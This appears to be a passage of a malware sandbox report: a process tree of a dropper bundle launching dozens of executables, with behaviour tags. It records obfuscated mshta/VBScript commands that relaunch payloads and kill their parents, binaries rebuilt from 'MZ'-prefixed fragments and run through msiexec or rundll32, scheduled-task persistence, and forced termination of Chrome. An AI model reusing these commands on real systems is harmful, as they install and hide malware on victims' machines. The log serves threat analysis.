C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:2704
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:1224
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵PID:6488
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *11⤵PID:6700
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:7096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵PID:7136
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵PID:6504
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:6104
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "2984668.exe"9⤵
- Kills process with taskkill
PID:5364
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\3925719.exe"C:\Users\Admin\AppData\Roaming\3925719.exe"6⤵PID:5468
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:5920
-
-
-
C:\Users\Admin\AppData\Roaming\3612270.exe"C:\Users\Admin\AppData\Roaming\3612270.exe"6⤵PID:5492
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0470d89df3bb718.exe4⤵PID:3044
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0470d89df3bb718.exeFri0470d89df3bb718.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1252 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:860
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵PID:4912
-
C:\Users\Admin\AppData\Roaming\298966.exe"C:\Users\Admin\AppData\Roaming\298966.exe"8⤵PID:6128
-
-
C:\Users\Admin\AppData\Roaming\8858186.exe"C:\Users\Admin\AppData\Roaming\8858186.exe"8⤵PID:3728
-
-
C:\Users\Admin\AppData\Roaming\280046.exe"C:\Users\Admin\AppData\Roaming\280046.exe"8⤵PID:4028
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\280046.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\280046.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))9⤵PID:5208
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\280046.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\280046.exe" ) do taskkill -f -Im "%~NXZ"10⤵PID:2116
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "280046.exe"11⤵
- Kills process with taskkill
PID:5932
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\4103620.exe"C:\Users\Admin\AppData\Roaming\4103620.exe"8⤵PID:2712
-
-
C:\Users\Admin\AppData\Roaming\5544882.exe"C:\Users\Admin\AppData\Roaming\5544882.exe"8⤵PID:2372
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵PID:4144
-
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵PID:2964
-
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵PID:5080
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵PID:3284
-
-
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵PID:5068
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵PID:1908
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:3464
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:5132
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵PID:5976
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )11⤵PID:5340
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵PID:5876
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )11⤵PID:6268
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC12⤵PID:6496
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵PID:7024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵PID:7056
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC13⤵PID:4076
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
PID:1736
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:652
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 7968⤵
- Program crash
PID:4088
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 8128⤵
- Program crash
PID:1248
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 8168⤵
- Program crash
PID:1960
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 8128⤵
- Program crash
PID:6384
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 9248⤵
- Program crash
PID:7128
-
-
-
C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe"C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe"7⤵PID:2200
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵PID:4020
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵PID:5520
-
-
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"7⤵PID:2612
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2612 -s 15328⤵
- Program crash
PID:4648
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"7⤵PID:4652
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵PID:5488
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri043a70f76ef98.exe4⤵PID:3804
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri043a70f76ef98.exeFri043a70f76ef98.exe5⤵
- Executes dropped EXE
PID:2292 -
C:\Users\Admin\Pictures\Adobe Films\TFYhs_eqPwU0Vyg5K4PnbJ3N.exe"C:\Users\Admin\Pictures\Adobe Films\TFYhs_eqPwU0Vyg5K4PnbJ3N.exe"6⤵PID:3276
-
-
C:\Users\Admin\Pictures\Adobe Films\k1bNRY0Ug0bEut6am87mxzsr.exe"C:\Users\Admin\Pictures\Adobe Films\k1bNRY0Ug0bEut6am87mxzsr.exe"6⤵PID:6196
-
C:\Users\Admin\Pictures\Adobe Films\k1bNRY0Ug0bEut6am87mxzsr.exe"C:\Users\Admin\Pictures\Adobe Films\k1bNRY0Ug0bEut6am87mxzsr.exe"7⤵PID:4924
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GNBWkSbWcRIp8eO0Oefhnt94.exe"C:\Users\Admin\Pictures\Adobe Films\GNBWkSbWcRIp8eO0Oefhnt94.exe"6⤵PID:6220
-
-
C:\Users\Admin\Pictures\Adobe Films\Fbb5XA4V4nEklMg3I2qaroMW.exe"C:\Users\Admin\Pictures\Adobe Films\Fbb5XA4V4nEklMg3I2qaroMW.exe"6⤵PID:6188
-
-
C:\Users\Admin\Pictures\Adobe Films\_rO2CnBl_GlEQPOUTArtATnK.exe"C:\Users\Admin\Pictures\Adobe Films\_rO2CnBl_GlEQPOUTArtATnK.exe"6⤵PID:6180
-
-
C:\Users\Admin\Pictures\Adobe Films\VGmsgxVSwpgtPAwIomJkbS6S.exe"C:\Users\Admin\Pictures\Adobe Films\VGmsgxVSwpgtPAwIomJkbS6S.exe"6⤵PID:6172
-
-
C:\Users\Admin\Pictures\Adobe Films\7zaq6AzVPwuzsEdy6oPJ8zES.exe"C:\Users\Admin\Pictures\Adobe Films\7zaq6AzVPwuzsEdy6oPJ8zES.exe"6⤵PID:6164
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:7020
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:7016
-
-
C:\Users\Admin\Documents\kCO1nDQYMqbEr2OyMJ62B_6E.exe"C:\Users\Admin\Documents\kCO1nDQYMqbEr2OyMJ62B_6E.exe"7⤵PID:608
-
C:\Users\Admin\Pictures\Adobe Films\nbq0cCkruoEkCsV3OAo2VAWg.exe"C:\Users\Admin\Pictures\Adobe Films\nbq0cCkruoEkCsV3OAo2VAWg.exe"8⤵PID:5008
-
-
C:\Users\Admin\Pictures\Adobe Films\vniXhE2awQ4W2HcK6l9UuREm.exe"C:\Users\Admin\Pictures\Adobe Films\vniXhE2awQ4W2HcK6l9UuREm.exe"8⤵PID:1260
-
-
C:\Users\Admin\Pictures\Adobe Films\ZXle4GWcnDifU5EEr_afGarJ.exe"C:\Users\Admin\Pictures\Adobe Films\ZXle4GWcnDifU5EEr_afGarJ.exe"8⤵PID:6284
-
-
C:\Users\Admin\Pictures\Adobe Films\gxFd2cLlu8jpe92iqbGjyZ3T.exe"C:\Users\Admin\Pictures\Adobe Films\gxFd2cLlu8jpe92iqbGjyZ3T.exe"8⤵PID:4056
-
-
C:\Users\Admin\Pictures\Adobe Films\i2kzJ33yJxG3Xuh6Hs1Ju6wz.exe"C:\Users\Admin\Pictures\Adobe Films\i2kzJ33yJxG3Xuh6Hs1Ju6wz.exe"8⤵PID:5344
-
-
C:\Users\Admin\Pictures\Adobe Films\k6Q3WsZNyCwb5pODfruHScZD.exe"C:\Users\Admin\Pictures\Adobe Films\k6Q3WsZNyCwb5pODfruHScZD.exe"8⤵PID:6428
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\k6Q3WsZNyCwb5pODfruHScZD.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\k6Q3WsZNyCwb5pODfruHScZD.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:5952
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\k6Q3WsZNyCwb5pODfruHScZD.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\k6Q3WsZNyCwb5pODfruHScZD.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:1452
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵PID:1960
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )12⤵PID:6992
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵PID:1068
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "k6Q3WsZNyCwb5pODfruHScZD.exe"11⤵
- Kills process with taskkill
PID:2176
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\b4thJrjd8zM97AD7mAi9cEqw.exe"C:\Users\Admin\Pictures\Adobe Films\b4thJrjd8zM97AD7mAi9cEqw.exe"8⤵PID:6328
-
C:\Users\Admin\Pictures\Adobe Films\b4thJrjd8zM97AD7mAi9cEqw.exe"C:\Users\Admin\Pictures\Adobe Films\b4thJrjd8zM97AD7mAi9cEqw.exe" -u9⤵PID:3600
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jJv2hDSZkyevvniVV9SxQH5R.exe"C:\Users\Admin\Pictures\Adobe Films\jJv2hDSZkyevvniVV9SxQH5R.exe"8⤵PID:6160
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵PID:4028
-
-
-
C:\Users\Admin\Pictures\Adobe Films\JV_qGjnY9vyokAB0r5fiu6Vq.exe"C:\Users\Admin\Pictures\Adobe Films\JV_qGjnY9vyokAB0r5fiu6Vq.exe"8⤵PID:6788
-
C:\Users\Admin\AppData\Local\Temp\is-C05IO.tmp\JV_qGjnY9vyokAB0r5fiu6Vq.tmp"C:\Users\Admin\AppData\Local\Temp\is-C05IO.tmp\JV_qGjnY9vyokAB0r5fiu6Vq.tmp" /SL5="$20368,506127,422400,C:\Users\Admin\Pictures\Adobe Films\JV_qGjnY9vyokAB0r5fiu6Vq.exe"9⤵PID:68
-
C:\Users\Admin\AppData\Local\Temp\is-3RVGU.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-3RVGU.tmp\DYbALA.exe" /S /UID=270910⤵PID:1320
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0480a54c0d2a7.exe4⤵PID:2664
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0480a54c0d2a7.exeFri0480a54c0d2a7.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3164 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4680
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:6372
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri042d82e64f594.exe4⤵PID:2184
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri042d82e64f594.exeFri042d82e64f594.exe5⤵
- Executes dropped EXE
PID:4952
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0471ced4d802994.exe4⤵PID:1748
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0471ced4d802994.exeFri0471ced4d802994.exe5⤵
- Executes dropped EXE
PID:4128 -
C:\Users\Admin\AppData\Local\Temp\is-HFIJV.tmp\Fri0471ced4d802994.tmp"C:\Users\Admin\AppData\Local\Temp\is-HFIJV.tmp\Fri0471ced4d802994.tmp" /SL5="$4005C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0471ced4d802994.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3744 -
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0471ced4d802994.exe"C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0471ced4d802994.exe" /SILENT7⤵
- Executes dropped EXE
PID:1648
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04113f869350dcf8.exe4⤵PID:1196
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04113f869350dcf8.exeFri04113f869350dcf8.exe5⤵
- Executes dropped EXE
PID:4136 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04113f869350dcf8.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04113f869350dcf8.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )6⤵PID:2288
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04113f869350dcf8.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "" == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04113f869350dcf8.exe" ) do taskkill /Im "%~Nxs" -f7⤵PID:4052
-
C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k8⤵PID:3892
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF ""-pVmK5OY1Q2FwiV3_NJROp~tX8k "" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )9⤵PID:928
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "-pVmK5OY1Q2FwiV3_NJROp~tX8k " == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ) do taskkill /Im "%~Nxs" -f10⤵PID:4552
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpt: closE ( crEateOBjECT ("WsCRipT.sHELl" ).ruN( "cmD.Exe /r EchO | SEt /P = ""MZ"" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q * " ,0 , TRUE ) )9⤵PID:3100
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r EchO | SEt /P = "MZ" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB+ V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q *10⤵PID:4524
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO "11⤵PID:680
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>OoZ39QP7.Q~P"11⤵PID:4572
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y ..\WgKZNZ9T.JOX11⤵PID:6328
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "Fri04113f869350dcf8.exe" -f8⤵
- Kills process with taskkill
PID:4540
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 5204⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4836
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-41B9E.tmp\Fri0471ced4d802994.tmp"C:\Users\Admin\AppData\Local\Temp\is-41B9E.tmp\Fri0471ced4d802994.tmp" /SL5="$400CA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0471ced4d802994.exe" /SILENT1⤵PID:3480
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4492 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:1996
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:5612
-
C:\Windows\SysWOW64\msdt.exe"C:\Windows\SysWOW64\msdt.exe"1⤵PID:6752
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\_rO2CnBl_GlEQPOUTArtATnK.exe"2⤵PID:7072
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6584 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6940
-